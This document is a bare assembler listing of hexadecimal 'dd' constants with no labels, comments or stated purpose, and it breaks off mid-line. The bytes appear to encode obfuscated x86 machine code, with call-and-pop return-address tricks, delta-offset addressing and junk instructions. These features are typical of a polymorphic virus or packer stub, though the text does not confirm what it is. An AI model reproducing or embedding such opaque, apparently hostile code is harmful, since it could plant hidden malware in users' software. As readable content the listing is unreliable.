0B58B8DBEh, 5E7255Dh, 0F04C3F6h, 4184h, 50006A00h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 828E018Ch, 0BB987C3Eh, 835B52Bh, 95FF05E7h, 5E72CD9h dd 0B599D89h, 509005E7h, 90F18B66h, 0DD9B58Bh, 69E905E7h dd 66000003h, 1BA7D781h, 0C78100B0h, 39AAE756h, 0E6F7BF0Fh dd 6071E470h, 1B59BD8Bh, 0BD8B05E7h, 5E71C5Dh, 0D8B60F61h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0E4C35545h dd 0B7A24556h, 6BAD88Eh, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 1F81C353h dd 895006E1h, 0E727F18Dh, 0C38B5F05h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0F1C35646h, 51D629C4h, 1CD1B58Bh dd 895F05E7h, 0E70E19B5h, 4E8C105h, 2BE2F766h, 56006AD8h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0FE451A87h, 6E90Bh, 50BE0000h, 0E8C3E951h, 56505693h dd 505F5E5Eh, 3830Fh, 8B660000h, 958993F0h, 5E72A5Dh, 2A75B5FFh dd 816605E7h, 0FF180FE7h, 0E71A1D95h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h dd 0C4BBF2A6h, 6A00B05Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 186BC356h, 1A0D8D89h dd 858905E7h, 5E72BB9h, 0BF6670E6h, 71E44EA8h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 10C35747h, 613C9350h dd 1F2830Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 50FB97C3h, 8569ED94h, 0D8B60F94h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 1BC35242h dd 0FB64C17h, 68Bh, 0C4F78100h, 0BA5B6A6Ch, 6, 0DE816657h dd 8B5F9B8Ah, 89BD8BC3h, 0C105E723h, 6A04E8h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 357E45C3h dd 4008F344h, 66E2F766h, 0DE90C681h, 22ADD781h, 0D82B3413h dd 68C0Fh, 9D310000h, 5E70785h, 50006A58h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 2B1D1EB6h dd 25880FD8h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 9F71C353h, 0F3F5BEEh dd 8Ch, 7B900h, 6A0000h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 24910AC3h, 52C88B4Bh dd 5BD8B5Bh, 8305E723h, 0BF0F00C1h, 0FD93BF8h, 0C386h dd 8E900h, 97E30000h, 4E0CC895h, 8C666488h, 56006AD9h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 0E2CA339h, 0F04C1F6h, 8984h, 0DE800h, 0E2290000h, 8873D21Ah dd 0A94DAB93h, 5E7CDBDEh, 2CD995FFh, 605605E7h, 66F18B66h dd 614391BBh, 5F525B5Fh, 0D681C32Bh, 122BD7FFh, 8343Dh dd 4F860F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 0E469C352h, 4FE21CF5h dd 31BD0B16h, 0E905E707h, 24h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 17h, 0BC35141h, 0F473ACDh, 0C08BF3B7h dd 0D88BC38Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 18h, 0B3C35646h, 8BD68543h, 2A55B589h, 85C705E7h, 5E71C59h dd 5BF3373Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 18h, 0A8C35242h, 18A7860Bh, 9018589h, 0C08B05E7h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 44C35747h, 81B3F565h dd 90ADCFE7h, 741CBF4Eh, 0BD8113B6h, 5E72A75h, 7D0h, 11850Fh dd 0BD8B0000h, 5E732F5h, 2A7585FFh, 51BF05E7h, 0FF0E9DE5h dd 0E72A75B5h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 951F952Ch, 71958900h dd 0FF05E70Fh, 0E71A1D95h, 0B890F505h, 12345678h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 43C35545h, 38BE6DA0h dd 8D223DB1h, 0EAC0B69Dh, 0F985E905h, 6AFFFFh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 94D2B5C3h, 8BFB8B66h, 5BD2BC1h, 0EB05E717h, 4, 0F2B70F00h dd 58F68166h, 0F9858DDBh, 6A05E71Ah, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 76B7C355h dd 8A0F32h, 50000000h, 489F98Bh, 6880F24h, 81000000h, 68C89E7h dd 0F5006A5Dh, 8DF5006Ah, 0EAC2C185h, 0FE8B6605h, 31919589h dd 0C08305E7h, 52006A05h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1604h, 0C3524200h, 8B4FC60Bh, 0E70E39B5h dd 0CE85005h, 84000000h, 6B73231Ch, 91205944h, 0E8E932E2h dd 8, 6863837h, 492C3486h, 5EF38B66h, 2404895Fh, 10E8h dd 28296E00h, 71F59312h, 76D58A28h, 0A70A2B80h, 99BD8BACh dd 5E05E72Ah, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 86DB78C3h, 0F2BF0FF7h, 6A006Ah dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0AE84FC3h, 51000000h, 0E692C404h, 853C12F3h, 6870F09h dd 81000000h, 2C553CDFh, 95FF5F05h, 5E702C5h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 59C35545h, 0FD1F6DC5h dd 0E8543B39h, 8, 0AA32F49h, 0E8A7160Fh, 5EF18B66h dd 95149D8Dh, 0B58B05EAh, 5E72D45h, 8509D3FFh, 5E71C31h dd 1CE185FFh, 6A05E7h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E9A8E7C3h, 12h, 0FDCBA7FFh, 8020220Dh dd 140F78B5h, 124D8AB0h, 49E99886h, 0E800000Eh, 0 dd 0CBED815Dh, 0E805EAC2h, 10h, 7760BE31h, 5DDE5354h, 0CA1999E4h dd 1DE2AA83h, 5EF3B70Fh, 2A75BD81h, 7D005E7h, 860F0000h dd 1BFh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ah, 0EBC35040h, 912C5C17h, 8589E856h, 5E71D09h, 68D0Fh dd 0B5890000h, 5E701D1h, 25A19D8Bh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 7F4471C3h dd 0BB2F9197h, 79BF6663h, 0A129BF4Bh, 0E3811B67h, 100h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 79C35747h dd 0ED7AF27Fh, 571BD8Bh, 0DB0B05E7h, 0B8850Fh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h dd 656D9BC3h, 3DB2344h, 52BE6654h, 5B533E1h, 8305E723h dd 0EAC114BDh, 840F0005h, 40h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 76C35040h, 4A248AC1h, 9D31CD12h dd 5E712BDh, 66E9h, 0CE95700h, 9D000000h, 1072424Bh, 0EDA99ABAh dd 5ECB986Ch, 0C11485C7h, 105EAh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0B521A9C3h dd 15A525EFh, 0BD8B5756h, 5E72271h, 18E95E5Eh, 66000000h dd 85C7FB8Bh, 5EAC114h, 0 dd 0AE9BD8Bh, 816605E7h, 8DAFC9EEh, 0E725A19Dh, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 70A5FED7h, 8E0F596Ah, 6, 0CE9B52Bh, 238105E7h, 0FFFFFEFFh dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 39C35242h dd 662A605Bh, 8B60DB8Ch, 0E709198Dh, 10E805h, 2B910000h dd 0ACE899F5h, 0B10E96Ch, 0CE39F60Eh, 0F0811742h, 33F4C248h dd 0C3F66158h, 69840F04h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 0F4C6C353h dd 4DB589D6h, 0FF05E71Bh, 0E72CD995h, 0AE89005h, 45000000h dd 8759051Fh, 59310C61h, 5F53520Bh, 8B505E5Eh, 6A90F3h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 311123C3h, 0BD8B6B24h, 5E704FDh, 40DE9h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 94FC4103h, 0ACD916F9h, 0FABF0FCFh, 6A00B0h, 3E850h dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 193232C3h, 0E660183Dh, 56006A70h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1904h, 0C3564600h, 5AC06E80h dd 14E9FE4Fh, 38000000h, 0CBB0BB8Eh, 428B7524h, 0A418932h dd 4894CD95h, 0E45E0FC2h, 11BD8B71h, 0F05E71Ch, 6AD8B6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0F23A96C3h, 3EAEDE7h, 6BA5E52h, 89000000h, 0E7234DBDh dd 6AC38B05h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0F07FC352h, 0C9CD08D6h, 8BA21102h dd 0A307BF66h, 6A04E8C1h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 3C44C350h, 66789077h dd 6AE2F7h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8925EAC3h, 0E72A858Dh, 0E9BD8B05h, 2B05E70Eh dd 0EE9D8h, 468B0000h, 214F2318h, 0D3BC7F63h, 56A67417h dd 0BF665093h, 8B93851Dh, 0E7095DBDh, 75B5FF05h, 6A05E72Ah dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h dd 40000000h, 0A5BEC350h, 11304330h, 2870F20h, 8B000000h dd 8C0FF7h, 31000000h, 0E71571B5h, 1D95FF05h, 6A05E71Ah dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 7909C352h, 0CD74D480h, 665DEFFDh, 0B0F4E3BEh dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 70E657B7h, 26F58D29h, 71E405E7h, 24DBD2Bh dd 613C05E7h, 210830Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0FF981C3h, 6BAD8B6h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 15042444h, 42000000h, 42A4C352h, 6AC38Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 7121CDC3h dd 0C88A5DBCh, 0BD8B3ABBh, 5E723B5h, 555BD8Bh, 0E8C105E7h dd 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 667F564Eh, 248FF781h, 2221B58Bh, 0F76605E7h dd 57006AE2h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 9EACF2F1h, 3B46EC49h, 8B66D82Bh, 0B50B58FAh dd 5E71501h, 880FD82Bh, 136h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 0A7C35545h, 54DF48E7h, 0B9F18BBBh dd 7, 0AF68166h, 0C18344h, 5846B8BFh, 0FD93B04h, 0F986h dd 0D1B58900h, 6605E722h, 9D89D98Ch, 5E71AFDh, 0F04C1F6h dd 0B584h, 0B1BD8B00h, 0FF05E732h, 0E72CD995h, 51006A05h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h dd 75BD031Eh, 0F805E720h, 0FD9D315Bh, 2B05E71Ah, 52006AC3h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 7C69335h, 3818A5D6h, 343D8201h, 0F000008h, 4D86h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 8BD7AC01h, 0E70581B5h, 18860F05h, 0F000000h, 1281h dd 0DE900h, 73950000h, 53D02735h, 9FCBB91Ah, 0E94F8498h dd 32h, 1A21B58Bh, 0C08B05E7h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0D0C35343h, 3FE22CB7h, 353668CCh dd 0EF81668Ch, 0C38B209Bh, 8D29D88Bh, 5E72485h, 27D985C7h dd 0C9F305E7h, 0BD8B3C11h, 5E71785h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 0F0AAF9C3h dd 0DCBD436Bh, 2311BD8Bh, 0BD8105E7h, 5E72A75h, 7D0h, 45850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 187EDEC3h, 696939EBh, 2A7585FFh, 6A05E7h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0FFF519C3h, 0E72A75B5h, 0F0B70F05h, 1A1D95FFh, 6A05E7h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 40379BC3h, 6A40903Bh, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 7EAEC356h, 0D41BD83h dd 0F0005E7h, 0E684h, 4DBD8300h, 5E70Dh, 0D9840Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 96D8C9C3h, 5DADA8F8h, 0FFA2B831h, 0E70D4195h, 55006A05h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0BC75B7AFh, 1EADBB61h, 1DBD8B8Ah, 0B05E70Ch, 7C840FC0h dd 0E8000000h, 11h, 0AF7D97FBh, 80E25FC4h, 94BDCBE7h, 0C86CFD38h dd 0B58B5F7Dh, 5E72A41h, 4DFA8D8Dh, 0B50905E7h, 5E712B5h dd 5B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1804h, 0C3534300h, 9940E536h, 85BD8B4Dh, 0BE05E714h dd 694AF6E1h, 6AE1FFh, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 140424h, 57470000h, 8166FCC3h, 835815E7h, 0E72DF1BDh dd 840F0005h, 5B7h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 0A5C35646h, 4DBD831Dh, 5E70Dh, 58D840Fh dd 8DF50000h, 0E701718Dh, 0DD952905h, 0C705E726h, 0B27C8401h dd 52006A44h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h dd 0C3524200h, 0F873A998h, 0CFCB0181h, 0BF661499h, 41C748F4h dd 706B3404h, 53006ACEh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 54B1EE95h, 8C0FC565h, 3, 81F0BF0Fh dd 5365D1C7h, 441811Ah, 31D6D710h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0E2C35646h, 2B580D03h, 6AF88B66h dd 13E900h, 41660000h, 0B4C6AEC9h, 0FF93BCBFh, 849B6E3Dh dd 12DBA4A0h, 71858DB4h, 6A05E701h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 49E6C353h dd 999E7C04h, 50FAEB43h dd 905F5F50h, 0BF669050h, 95FF46A2h, 5E72DF1h, 0C2E68166h dd 8DF78B29h, 0E701718Dh, 0C75F5005h, 1, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0B6ADA348h, 88D5EF81h, 41C760D2h, 4, 57006A00h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h dd 0E821BE00h, 8, 1C143BF9h, 665177D3h, 7FFFBF66h, 0FC00B5Fh dd 6A84h, 8B0F00h, 8D000000h, 0E74DFA8Dh, 29958905h, 0B805E722h dd 5, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h dd 0C6C35646h, 0F29BF47h, 1195313Fh, 0FF05E71Bh, 53006AE1h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h, 0C3534300h dd 549DE654h, 4870FE1h, 66000000h, 8DA2DBBEh, 0E701718Dh dd 79E78105h, 0F4C44F4h, 1C7F6B7h, 44AA727Ch, 0CFCB0181h dd 6A1499h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h dd 50400000h, 4D7221C3h, 0C86E588Ah, 58806ABFh, 441C744h dd 0CE78753Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 0C8C35646h, 8B6655EDh, 44181F3h, 31D6D710h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 0F0C35747h, 5EBA8C62h dd 298D2950h, 2905E715h, 0E72A55BDh, 6A006A05h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 60F3C356h, 0AE9h, 0BD2F8300h, 90D06E90h, 899DA2BBh dd 0E7312DB5h, 858D6105h, 5E70171h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 54C35545h, 0F7B1A3ECh, 0F906BBCh dd 384h, 0F18B6600h, 8A0F9050h, 5, 49F1A9BFh, 0C9BD8B40h dd 0FF05E704h, 0E72DF195h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 82F96845h dd 49B58B2Fh, 0F05E70Eh, 685h, 15BD3100h, 8D05E70Eh, 0E701718Dh dd 1C7F505h, 0 dd 0ED9D0157h, 5F05E730h, 0C7FBB70Fh, 441h, 0B58B0000h dd 5E72F7Dh, 840FC00Bh, 5Fh, 9070F1BEh, 0FA8D8D03h, 8905E74Dh dd 0E70E199Dh, 0CE905h, 1A1D0000h, 0F697EE63h, 6ACBCEE0h dd 5B8E722h, 89000000h, 0E723B595h, 6AE1FF05h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h dd 0A16EC357h, 8166961Eh, 8B6B66EFh, 0E72319BDh, 9DCF8105h dd 8D0B272Ah, 0E701718Dh, 0A501C705h, 0E954CA95h, 6, 7BA155EEh dd 1816944h, 1499CFCBh, 3BCF8166h, 441C79Bh, 0CE5F5969h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 27C35040h dd 56593674h, 3810Fh, 8B660000h, 41815EFEh, 0D6D71004h dd 56006A31h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0E94328B0h, 0Ch, 5089632Bh, 7ACA0672h, 0CF4EBD95h dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 2D6203C3h, 3D168EDh, 19B5898Ah, 8B05E717h dd 0E71CC5BDh, 71858D05h, 6605E701h, 0D817D681h, 4ABF6657h dd 50905E64h, 61605152h, 5A310F5Eh, 52505058h, 0A7614CBEh dd 5A310F30h, 9D899058h, 5E70325h, 2DF195FFh, 816605E7h dd 8DBAFFC6h, 0E701718Dh, 1C705h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 6403C351h, 14408AC5h, 0B2B5F03h, 10E9h, 85110F00h, 0A0CEA78Ch dd 5612FD0Eh, 0B60C902Bh, 0E9BED0h, 41C71F2Fh, 4, 6820F00h dd 8B000000h, 0E70231BDh, 0FC00B05h, 8284h, 0A1B58B00h dd 8D05E72Fh, 0E74DFA8Dh, 0BE605605h, 466F7398h, 0C818531h dd 5E6105E7h, 0EF5BE781h, 5B83106h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h dd 0A64EC355h, 17810F58h, 0E8000000h, 0Bh, 0DE4F3A05h dd 0E5734561h, 0F99303Bh, 88h, 0E1FF5F00h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E2C35545h, 3147D7Ah dd 0F1BDE9CAh, 0BD8BFFFFh, 5E70CA1h, 4EBC18Bh, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 40C35646h dd 8BEF91D7h, 38C0FF0h, 66000000h, 858DF38Bh, 5E71AF9h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 9AC35747h dd 10E8h, 9009F500h, 0D2A22EDAh, 0AD972BEBh, 0B51C2C2h dd 9E9B9h, 0AFB80000h, 4432489h, 5E1488DEh, 0F38B6690h dd 6E850h, 2EDD0000h, 76262263h, 52505250h, 585A310Fh dd 0BE66310Fh, 585A854Ah, 6A905Eh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 0CA58B6C3h, 727EF89Ch dd 6A8BB4h, 2BBDB50Bh, 858905E7h, 5E72035h, 0BE66006Ah dd 858DBCDFh, 5EAD2E2h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 28C35141h, 0DCD65C81h, 0B509A2EFh, 5E71235h dd 6A05C083h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0FA7CC353h, 5A068206h, 0B9858995h dd 9005E715h, 5E9h, 60F58000h, 6050A504h, 8E9h, 28627400h dd 0BB897C05h, 61C88B35h, 61B58990h, 6A05E725h, 0F0BF0F00h dd 0B589006Ah, 5E70C69h, 2C595FFh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 13C433C3h dd 0D293C111h, 149D8DD2h, 6A05EA95h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1C042444h, 46000000h, 0A8CBC356h dd 919802A6h, 60EE450Ah, 5D958960h, 8105E70Fh, 43EEE1CFh dd 0BA66617Dh, 0FF615246h, 11B58BD3h, 0FF05E72Fh, 0E71CE185h dd 0E95E5705h, 9ECh, 0E8h, 0ED815D00h, 5EAD2ECh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 61C35545h, 0EE8h dd 78A2CC00h, 0DEE71D22h, 0B1FE4B09h, 8BCE69C4h, 0E70999B5h dd 0B5295E05h, 5E70701h, 2A75BD81h, 7D005E7h, 860F0000h dd 111h, 2CA99589h, 9D8B05E7h, 5E726D1h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 1C35646h, 82D8CE81h dd 0C68155A8h, 6B30D636h, 100E381h, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 682BCEC3h dd 0BF0F79AFh, 0FDB0BF2h, 5185h, 13BD8300h, 5EAD1h, 12840Fh dd 0B58B0000h, 5E719FDh, 7CE9h, 0C6BE5100h, 5E5FE9F9h dd 0D11385C7h, 105EAh, 0CE90000h, 88000000h, 1083F807h dd 1AF36EC5h, 0E96E98D9h, 55h, 0DE9h, 9F74DE00h, 2CA1AC8Bh dd 100337A4h, 85C7BC45h, 5EAD113h, 0 dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 70C35343h dd 0C70F21C3h, 816604ECh, 0F85F9E6h, 0C8Dh, 6830F00h, 8B000000h dd 0E731E5B5h, 0D19D8D05h, 8B05E726h, 0E70845B5h, 0FF238105h dd 89FFFFFEh, 0E72D9595h, 0DB8C6605h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 0D6C35545h, 1A0EA74Ch, 0C3F6ADF6h dd 50840F04h, 8B000000h, 0E7164DB5h, 0D995FF05h, 6A05E72Ch dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 18042444h dd 45000000h, 83CEC355h, 89FF4C8Eh, 0E70A99BDh, 0C9B58B05h dd 9005E70Ah, 90F28B50h, 7E8h, 0B1D14600h, 6B1FABD5h, 1C1DBD01h dd 0E95E05E7h, 3D8h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 16h, 63C35040h, 0A9BE22BEh, 0F8166408h, 0B58B00B0h dd 5E703EDh, 6A70E6h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1A0424h, 56460000h, 0F6F9B4C3h, 14BEFDC2h, 5BE68166h dd 2971E4CFh, 0E715E59Dh, 0D8B60F05h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 1Bh, 0F9C35747h, 0C99C7101h, 538C7FF3h dd 6BA5EFCh, 8B000000h, 89C38BF0h, 0E726CD9Dh, 4E8C105h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0FEC35545h dd 0D08AB59Ah, 0D0816060h, 75D87968h, 1C1D8D89h, 896105E7h dd 0E7127985h, 0F7666105h, 0DE9E2h, 0A7EC0000h, 3C607D6Eh dd 0D38E80F3h, 0E85F0F49h, 11h, 0EC157A4Ah, 2F3BAA72h dd 6CBB1A85h, 80141FCEh, 0B5895019h, 5E72229h, 0D82B5E5Eh dd 8B0Fh, 0E8500000h, 9, 4F7C6370h, 0F6D4CA80h, 0F1FCBEB7h dd 895E49E1h, 0B5FF241Ch, 5E72A75h, 68A0Fh, 0B58B0000h dd 5E72D91h, 1A1D95FFh, 6A05E7h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 26034DC3h, 967836F5h dd 0F81A2A58h, 1DBE00B0h, 0E634DD9Ah, 0EE970h, 31200000h dd 95C1BB05h, 0D11834D2h, 0C2866C13h, 9BE71E4h, 3C431F0Ch dd 4D830F61h, 6A000002h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0FC7C352h, 6AD8B6h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 841483C3h, 8780C20Bh, 8589D3EEh, 5E70559h, 6BAh, 6AC38B00h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1C042444h dd 41000000h, 34B0C351h, 0FD36A026h, 1D4688Ah, 0E70BD1B5h dd 4E8C105h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 75C35646h, 8BD1A0F7h, 996B760Eh, 6AE2F766h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 0B2E9C353h, 0F525EACh, 685h, 0C9952900h, 2B05E70Dh dd 950958D8h, 5E730C9h, 880FD82Bh, 16Ch, 0B9F08B66h, 7 dd 6A00C183h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1D042444h, 43000000h, 0C261C353h, 0FEF3F26Eh, 0AA12A9A9h dd 12E8h, 20B4400h, 0FBFCCECBh, 495DF507h, 0CDDBD521h dd 0F21D88Ah, 3B5EF0B7h, 19860FD9h, 60000001h, 20E19589h dd 9D3105E7h, 5E716B5h, 0D98C6661h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 68C35040h, 0C1F6FF9Ah, 0BA840F04h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 16042444h, 47000000h, 0E453C357h, 99B58B07h, 905E717h dd 0E71B7DB5h, 0D995FF05h, 6A05E72Ch, 3E85000h, 20000000h dd 8958C358h, 81042444h, 16042444h, 40000000h, 0F2DBC350h dd 0F1BE665Eh, 0EE815BCEh, 5CC119BBh, 6AC32Bh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h dd 16A50CC3h, 65967F3Dh, 0FE93Fh, 0C3B40000h, 14893FC5h dd 1C2D6B5Ah, 0CB3FF77Ah, 343DF9F5h, 0F000008h, 1C86h dd 0F6816600h, 39E9176Bh, 60000000h, 60C78B66h, 800Fh dd 5BB80000h, 6103E69Eh, 6AC08B61h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 66F2C352h dd 1330EE81h, 0B30EBE66h, 0D88BC38Bh, 0C3B70F60h, 870Fh dd 8B610000h, 0E71785B5h, 0A185C705h, 9705E725h, 6A3FA64Fh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0BFA5C352h, 0B58B6367h, 5E71D65h, 6AC08Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h dd 2B7811C3h, 46F64562h, 0A5B58BFCh, 8105E731h, 0E72A75BDh dd 7D005h, 32850F00h, 0F000000h, 85FFF6B7h, 5E72A75h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 0D0C35242h, 0A1B58B2Bh dd 905E708h, 0E72F1D85h, 75B5FF05h, 6A05E72Ah, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 1C13C355h, 8260CA0h, 0E960713Dh, 0Bh, 17049A77h, 48BBC66Fh dd 0E9377253h, 11h, 59908A2h, 60074013h, 51130426h, 